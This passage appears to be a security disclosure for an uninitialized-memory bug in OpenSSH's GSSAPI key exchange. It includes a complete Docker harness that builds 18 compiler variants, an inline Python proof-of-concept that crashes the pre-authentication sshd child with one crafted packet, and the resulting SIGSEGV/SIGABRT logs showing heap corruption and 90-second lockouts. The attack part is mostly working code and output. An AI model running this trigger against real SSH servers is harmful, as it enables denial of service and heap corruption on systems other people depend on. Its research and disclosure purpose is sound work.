CVE-2023-25136 is the closest comparison: a pre-auth memory safety issue in OpenSSH KEX code with a CVSS of 6.5, patched immediately despite being difficult to exploit for code execution. This bug is easier to trigger (single packet, 100% reliable, no race condition) and has a broader impact (uninitialized pointer dereference + SIGSEGV + confirmed heap corruption via `free()` on uninitialized pointer + 127KB heap data across privsep boundary + 90-second lockout), though the uninitialized stack data is not directly controlled by the connecting party. The security impact is build-dependent: different compilers and optimization levels produce different uninitialized values, meaning the precise behavior varies across distributions and package rebuilds. This unpredictability is itself a security concern - the same source code can shift from benign (5-second penalty) to severe (90-second lockout with SIGSEGV/SIGABRT) based solely on compiler version or flags.

Tested SIGSEGV Flags (x86_64)

Build flags	Crash mode
Clang `-O0`	SIGSEGV (signal 11)

GCC `-O2 -fno-stack-protector`	SIGABRT (signal 6, heap corruption)

The log line `mm_request_send: entering, type 44` (MONITOR_REQ_GSSSTEP appearing after `sshpkt_disconnect`) proves the uninitialized memory use and privsep boundary violation regardless of crash mode.

Build-Matrix Variant Tester

For finding which compiler flags produce SIGSEGV on a given system, use the multi-variant Dockerfile. This builds 18 OpenSSH variants with different compiler/flag combinations, adds diagnostic logging to capture the exact `recv_tok` residue values, and tests each one:

1. Save these 4 files in a directory:

`build_variant.sh`:

```
#!/bin/bash
set -euo pipefail
NAME=$1; CC_CMD=$2; FLAGS=$3
echo "=== Building $NAME ==="
cd /build/openssh-src
make clean 2>/dev/null || true
make distclean 2>/dev/null || true
[ -f configure ] || { autoreconf -fi 2>/dev/null || true; }
CC="$CC_CMD" CFLAGS="$FLAGS" LDFLAGS="" \
 ./configure --prefix="/opt/$NAME" --with-pam --with-kerberos5 \
 --with-privsep-path=/var/empty --with-privsep-user=sshd \
 --with-sandbox=no --without-hardening >/dev/null 2>&1 \
 || { echo "CONFIGURE FAILED for $NAME"; exit 1; }
make -j"$(nproc)" sshd sshd-session sshd-auth ssh-keygen >/dev/null 2>&1 \
 || { echo "MAKE FAILED for $NAME"; exit 1; }
mkdir -p "/opt/$NAME/sbin" "/opt/$NAME/bin" "/opt/$NAME/libexec" "/opt/$NAME/etc"
cp sshd "/opt/$NAME/sbin/"
cp sshd-session "/opt/$NAME/libexec/"
cp sshd-auth "/opt/$NAME/libexec/"
cp ssh-keygen "/opt/$NAME/bin/"
echo "=== $NAME OK ==="
```

`patch_diag.py`:

```
#!/usr/bin/env python3
"""Patch monitor_wrap.c to add diagnostic logging in mm_ssh_gssapi_accept_ctx."""
```

```
import sys


with open('monitor_wrap.c', 'r') as f:
  src = f.read()


old = '\tif ((r = sshbuf_put_string(m, in->value, in->length)) != 0)\n\t\tfatal_fr(r, "assemble");'
new_line = '\tfprintf(stderr, "DIAG recv_tok: value=%p length=0x%zx (%zu)\\n", in->value,
(size_t)in->length, (size_t)in->length);\n'
new = new_line + old


if old not in src:
  print('ERROR: pattern not found in monitor_wrap.c', file=sys.stderr)
  sys.exit(1)


src = src.replace(old, new, 1)


with open('monitor_wrap.c', 'w') as f:
  f.write(src)
print('Patched monitor_wrap.c successfully')
```

test_all_variants.sh:

```
#!/bin/bash
VARIANTS="clang-O1 clang-O2 clang-O3 clang-Os gcc-O1 gcc-O2 gcc-O3 gcc-Os
gcc-O2-noinl gcc-O2-flto clang-O1-nosp clang-O2-nosp gcc-O1-nosp gcc-O2-nosp gcc-O0
clang-O0 gcc-O2-noinl-nosp clang-O1-noinl"
echo "=== Architecture: $(uname -m) ==="
echo ""
for V in $VARIANTS; do
  /opt/$V/sbin/sshd -f /opt/$V/etc/sshd_config -D -e 2>/tmp/$V.log &
  PID=$!
  sleep 2
  python3 /poc.py 127.0.0.1 22 2>/dev/null || true
  sleep 2
  kill $PID 2>/dev/null; wait $PID 2>/dev/null
  DIAG=$(grep "DIAG recv_tok:" /tmp/$V.log 2>/dev/null | head -1)
  SIG11=$(grep "signal 11" /tmp/$V.log 2>/dev/null | head -1)
  SIG6=$(grep "signal 6" /tmp/$V.log 2>/dev/null | head -1)
  STATUS=$(grep "mm_reap" /tmp/$V.log 2>/dev/null | head -1)
```

```
  PENALTY=$(grep "srclimit_penalise" /tmp/$V.log 2>/dev/null | head -1)
  if [ -n "$SIG11" ]; then RESULT="*** SIGSEGV (signal 11) ***";
  elif [ -n "$SIG6" ]; then RESULT="*** SIGABRT (signal 6) ***";
  else RESULT="fatal/exit"; fi
  printf "%-16s %s\n" "$V:" "$RESULT"
  echo "  $DIAG"
  echo "  $STATUS"
  echo "  $PENALTY"
  echo ""
done
```

Dockerfile.find-sigsegv:

```
FROM ubuntu:25.10


ENV DEBIAN_FRONTEND=noninteractive


RUN apt-get update && apt-get install -y \
  build-essential clang \
  libssl-dev libpam0g-dev libkrb5-dev libgssapi-krb5-2 \
  zlib1g-dev libedit-dev libfido2-dev libsystemd-dev \
  autoconf automake pkg-config openssh-client \
  python3 procps strace dpkg-dev \
  && rm -rf /var/lib/apt/lists/*


RUN sed -i 's/^Types: deb$/Types: deb deb-src/' /etc/apt/sources.list.d/ubuntu.sources && \
  apt-get update && \
  mkdir -p /build && cd /build && \
  apt-get source openssh-server && \
  rm -rf /var/lib/apt/lists/*


RUN ln -s "$(find /build -maxdepth 1 -type d -name 'openssh-*')" /build/openssh-src


COPY build_variant.sh /build/build_variant.sh
COPY patch_diag.py /tmp/patch_diag.py
COPY test_all_variants.sh /test-all.sh
RUN chmod +x /build/build_variant.sh /test-all.sh
```

```
WORKDIR /build/openssh-src
RUN python3 /tmp/patch_diag.py
RUN autoreconf -fi 2>/dev/null; true


# 18 build variants: different compilers, optimization levels, and flags.
# -fno-stack-protector variants change stack layout significantly on x86_64.
RUN /build/build_variant.sh clang-O1           clang "-g -O1 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O2           clang "-g -O2 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O3           clang "-g -O3 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh clang-Os           clang "-g -Os -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O1             gcc   "-g -O1 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O2             gcc   "-g -O2 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O3             gcc   "-g -O3 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-Os             gcc   "-g -Os -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O2-noinl       gcc   "-g -O2 -fno-inline -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O2-flto        gcc   "-g -O2 -flto -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O1-nosp      clang "-g -O1 -fno-stack-protector
-fno-omit-frame-pointer -DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O2-nosp      clang "-g -O2 -fno-stack-protector
-fno-omit-frame-pointer -DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O1-nosp        gcc   "-g -O1 -fno-stack-protector
-fno-omit-frame-pointer -DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O2-nosp        gcc   "-g -O2 -fno-stack-protector
-fno-omit-frame-pointer -DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O0             gcc   "-g -O0 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O0           clang "-g -O0 -fno-omit-frame-pointer
-DSANDBOX_NULL"
RUN /build/build_variant.sh gcc-O2-noinl-nosp  gcc   "-g -O2 -fno-inline -fno-stack-protector
-fno-omit-frame-pointer -DSANDBOX_NULL"
RUN /build/build_variant.sh clang-O1-noinl     clang "-g -O1 -fno-inline -fno-omit-frame-pointer
-DSANDBOX_NULL"
```

```
RUN useradd -r -d /var/empty -s /usr/sbin/nologin sshd 2>/dev/null || true && \
  mkdir -p /var/empty /run/sshd
RUN ssh-keygen -t ed25519 -f /etc/ssh_host_ed25519_key -N '' && \
  ssh-keygen -t rsa -f /etc/ssh_host_rsa_key -N ''
RUN printf '[libdefaults]\n    default_realm = TEST.LOCAL\n' > /etc/krb5.conf


RUN for v in clang-O1 clang-O2 clang-O3 clang-Os gcc-O1 gcc-O2 gcc-O3 gcc-Os \
  gcc-O2-noinl gcc-O2-flto clang-O1-nosp clang-O2-nosp gcc-O1-nosp gcc-O2-nosp \
  gcc-O0 clang-O0 gcc-O2-noinl-nosp clang-O1-noinl; do \
  printf "Port 22\nHostKey /etc/ssh_host_ed25519_key\nHostKey
/etc/ssh_host_rsa_key\nSshdSessionPath /opt/$v/libexec/sshd-session\nSshdAuthPath
/opt/$v/libexec/sshd-auth\nGSSAPIKeyExchange yes\nGSSAPIAuthentication
yes\nGSSAPIStrictAcceptorCheck no\nPermitRootLogin yes\nUsePAM no\nLogLevel
DEBUG3\n" > /opt/$v/etc/sshd_config; \
  done


# Inline PoC trigger (no COPY needed)
RUN printf '#!/usr/bin/env python3\nimport socket,struct,os,sys,time\nH=sys.argv[1] if
len(sys.argv)>1 else "127.0.0.1"\nP=int(sys.argv[2]) if len(sys.argv)>2 else 22\ndef ss(d):\n if
isinstance(d,str):d=d.encode()\n return struct.pack(">I",len(d))+d\ndef pk(t,p=b""):\n
d=bytes([t])+p;pad=8-((5+len(d))%%8)\n if pad<4:pad+=8\n return
struct.pack(">IB",1+len(d)+pad,pad)+d+os.urandom(pad)\ndef rp(s,to=10):\n s.settimeout(to)\n
try:\n  h=b""\n  while len(h)<4:\n   c=s.recv(4-len(h))\n   if not c:return None,None\n   h+=c\n
pl=struct.unpack(">I",h)[0]\n  if pl>262144:return None,None\n  b=b""\n  while len(b)<pl:\n
c=s.recv(pl-len(b))\n   if not c:return None,None\n   b+=c\n  pad=b[0];pay=b[1:pl-pad]\n
return(pay[0],pay[1:])if pay else(None,None)\n except:return
None,None\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.settimeout(10)\ntry:s.
connect((H,P))\nexcept:sys.exit(1)\nv=b""\nwhile not v.endswith(b"\\n"):\n b=s.recv(1)\n if not
b:break\n v+=b\ns.sendall(b"SSH-2.0-Test\\r\\n")\nt,p=rp(s)\nif
t!=20:s.close();sys.exit(1)\noff=16;sl=struct.unpack(">I",p[off:off+4])[0];off+=4\nkex=p[off:off+sl].d
ecode("ascii",errors="replace")\ngss=[a for a in kex.split(",") if a.startswith("gss-")]\nif not
gss:s.close();sys.exit(1)\ncookie=os.urandom(16);kl=",".join(gss)\nlists=[kl,"ssh-ed25519,rsa-sh
a2-256","aes256-ctr","aes256-ctr","hmac-sha2-256","hmac-sha2-256","none","none","","",""]\npay=
cookie\nfor l in
lists:pay+=ss(l)\npay+=struct.pack(">?I",False,0)\ns.sendall(pk(20,pay));time.sleep(0.5)\ns.send
all(pk(99,b"\\x00"*16));time.sleep(2)\nrp(s,3);s.close()\n' > /poc.py && chmod +x /poc.py


CMD ["/bin/bash"]
```

2. Build and run (all 4 files must be in the same directory):

chmod +x build_variant.sh test_all_variants.sh

Build (takes ~5 min natively, much longer under QEMU emulation)
docker build -t openssh-find-sigsegv -f Dockerfile.find-sigsegv .

Run the test suite (cycles through all 18 variants automatically)
docker run --privileged openssh-find-sigsegv /test-all.sh

Output:

```
=== Architecture: x86_64 ===

clang-O1:       fatal/exit
  DIAG recv_tok: value=0x7fff37fc40f0 length=0x59f4421b77b0 (98905615988656)
  debug1: mm_reap: preauth child exited with status 255
  srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed
authentication

clang-O2:       fatal/exit
  DIAG recv_tok: value=0x7ffe33874060 length=0x63c688f19377 (109704352207735)
  debug1: mm_reap: preauth child exited with status 255
  srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed
authentication

clang-O3:       fatal/exit
  DIAG recv_tok: value=0x7ffcb17f3980 length=0x5c99026d12bc (101812240454332)
  debug1: mm_reap: preauth child exited with status 255
  srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed
authentication

clang-Os:       fatal/exit
  DIAG recv_tok: value=0x7fffcc91f7a0 length=0x56fb1a0877b0 (95636473542576)
  debug1: mm_reap: preauth child exited with status 255
  srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed
authentication

gcc-O1:         fatal/exit
  DIAG recv_tok: value=0x5a349f6efee0 length=0x75586c517ac0 (129022634851008)
  debug1: mm_reap: preauth child exited with status 255
  srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed
authentication

gcc-O2:         *** SIGABRT (signal 6) ***
```

DIAG recv_tok: value=0x57061fdba540 length=0x1f120 (127264)
mm_reap: preauth child terminated by signal 6
srclimit_penalise: ipv4: new 127.0.0.1/32 active penalty of 90 seconds for penalty: caused crash

gcc-O3: fatal/exit
DIAG recv_tok: value=0x56013b7a44d0 length=0x1f120 (127264)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

gcc-Os: fatal/exit
DIAG recv_tok: value=0x1f120 length=0x5ead99452ee0 (104099693801184)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

gcc-O2-noinl: fatal/exit
DIAG recv_tok: value=(nil) length=0x56917a66e7c0 (95182823811008)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

gcc-O2-flto: fatal/exit
DIAG recv_tok: value=0x1 length=0x0 (0)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

clang-O1-nosp: fatal/exit
DIAG recv_tok: value=0x7ffc549c7590 length=0x569cee8c67c0 (95232017065920)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

clang-O2-nosp: fatal/exit
DIAG recv_tok: value=0x7ffc3c5d0d00 length=0x55b3d6b9f377 (94230890017655)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

gcc-O1-nosp: fatal/exit
DIAG recv_tok: value=0x56f59b913e90 length=0x75fa582a1ac0 (129718081428160)
debug1: mm_reap: preauth child exited with status 255

srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

gcc-O2-nosp: *** SIGABRT (signal 6) ***
DIAG recv_tok: value=0x56e8b082d560 length=0x1f170 (127344)
mm_reap: preauth child terminated by signal 6
srclimit_penalise: ipv4: new 127.0.0.1/32 active penalty of 90 seconds for penalty: caused crash

gcc-O0: fatal/exit
DIAG recv_tok: value=0xa41b7be30 length=0x61474306eb00 (106958695099136)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

clang-O0: *** SIGSEGV (signal 11) ***
DIAG recv_tok: value=0x38ae1900 length=0x4 (4)
mm_reap: preauth child terminated by signal 11
srclimit_penalise: ipv4: new 127.0.0.1/32 active penalty of 90 seconds for penalty: caused crash

gcc-O2-noinl-nosp: fatal/exit
DIAG recv_tok: value=(nil) length=0x5a7fab038800 (99504376481792)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication

clang-O1-noinl: fatal/exit
DIAG recv_tok: value=0x7ffcb616a0b0 length=0x641a7e8594e0 (110064954610912)
debug1: mm_reap: preauth child exited with status 255
srclimit_penalise: ipv4: new 127.0.0.1/32 deferred penalty of 5 seconds for penalty: failed authentication